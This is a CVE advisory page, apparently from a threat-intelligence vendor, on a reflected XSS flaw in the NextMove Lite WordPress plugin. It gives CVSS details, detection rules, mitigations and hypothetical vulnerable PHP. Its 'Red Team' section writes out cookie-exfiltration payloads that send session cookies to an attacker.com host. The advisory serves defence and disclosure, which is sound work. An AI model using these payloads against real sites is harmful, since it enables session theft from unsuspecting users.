CVE-2025-52735
Executive Summary
CVE-2025-52735 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin NextMove Lite (woo-thank-you-page-nextmove-lite) by XLPlugins. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a web page, which executes in the context of the victim’s browser. The vulnerability affects all versions up to and including 2.24.0. No official patch has been released at this time. The CVSS score is 7.1 (High), driven by the low attack complexity and network-based vector, though user interaction is required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, users must rely on manual mitigation (e.g., disabling the plugin or applying a WAF rule). The lack of a patch increases supply chain risk for sites that depend on this plugin for WooCommerce thank-you page functionality.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High (7.1). The requirement for user interaction reduces the severity, but the lack of a patch and the widespread use of WooCommerce make this a significant risk for WordPress sites.
Deep Dive & Mechanics
The vulnerability is a Reflected XSS in the NextMove Lite plugin. The plugin fails to properly sanitize user-supplied input before including it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in parameters such as order_id, email, or custom query strings. When a victim clicks the link, the script executes in their browser, allowing the attacker to steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.
The vulnerable code likely resides in the plugin’s thank-you page handler, which echoes user input without escaping. For example, a parameter like ?order_id=<script>alert(1)</script> would be reflected directly into the HTML.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. The fix would involve proper output escaping using WordPress functions like esc_html() or esc_attr().
Vulnerable Code (hypothetical):
<?php
$order_id = $_GET['order_id'];
echo "<div>Order ID: " . $order_id . "</div>";
?>
Patched Code (hypothetical):
<?php
$order_id = isset($_GET['order_id']) ? esc_html($_GET['order_id']) : '';
echo "<div>Order ID: " . $order_id . "</div>";
?>
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with NextMove Lite <= 2.24.0 installed and activated.
- A WooCommerce order (or any valid order ID) to craft a realistic URL.
Exploitation Steps:
- Identify a parameter that is reflected in the response (e.g.,
order_id,email, or a custom query string). - Craft a malicious URL:
https://target.com/checkout/order-received/123/?order_id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send the link to the victim via email, social engineering, or other means.
- When the victim clicks the link, the script executes and exfiltrates their session cookie to the attacker’s server.
Example Payload:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
Blue Team
Detection:
- Monitor web server logs for unusual query strings containing
<script>,onerror,onload, or other XSS indicators. - Look for repeated requests to the same URL with varying
order_idparameters.
Mitigation:
- Disable the NextMove Lite plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Use Content Security Policy (CSP) headers to restrict script execution.
Indicators of Compromise (IOCs)
- URL Patterns:
*/checkout/order-received/*?order_id=*<script>* - HTTP Request Parameters:
order_id,email,custom_fieldcontaining<script>,%3Cscript%3E, or other HTML/JS encodings. - Outbound Connections: Requests to unknown domains from the WordPress server (e.g.,
attacker.com/steal). - Log Entries: 200 OK responses with
order_idcontaining unescaped HTML tags.
Detection Engineering
YARA Rule
rule CVE_2025_52735_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against NextMove Lite plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52735"
strings:
$xss1 = /order_id=[^&]*<script/i
$xss2 = /order_id=[^&]*%3Cscript/i
$xss3 = /order_id=[^&]*onerror/i
$xss4 = /order_id=[^&]*onload/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against NextMove Lite
id: 8a3f7c2e-5d1b-4a9f-8c6e-2d3f1a0b9c8d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-52735
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'order_id=<script'
- 'order_id=%3Cscript'
- 'order_id=onerror'
- 'order_id=onload'
condition: selection
falsepositives:
- Legitimate use of order_id with similar patterns (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-52735 Reflected XSS in NextMove Lite"; flow:to_server,established; content:"order_id"; http_uri; pcre:"/order_id=[^&]*(<script|%3Cscript|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate NextMove Lite until a patch is available.
- Apply WAF rules – Block requests containing XSS patterns in the
order_idparameter. - Monitor logs – Check for exploitation attempts using the IOCs above.
Long-Term Fix:
- The vendor must release a patched version that properly escapes user input. Until then, consider replacing the plugin with an alternative.
Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.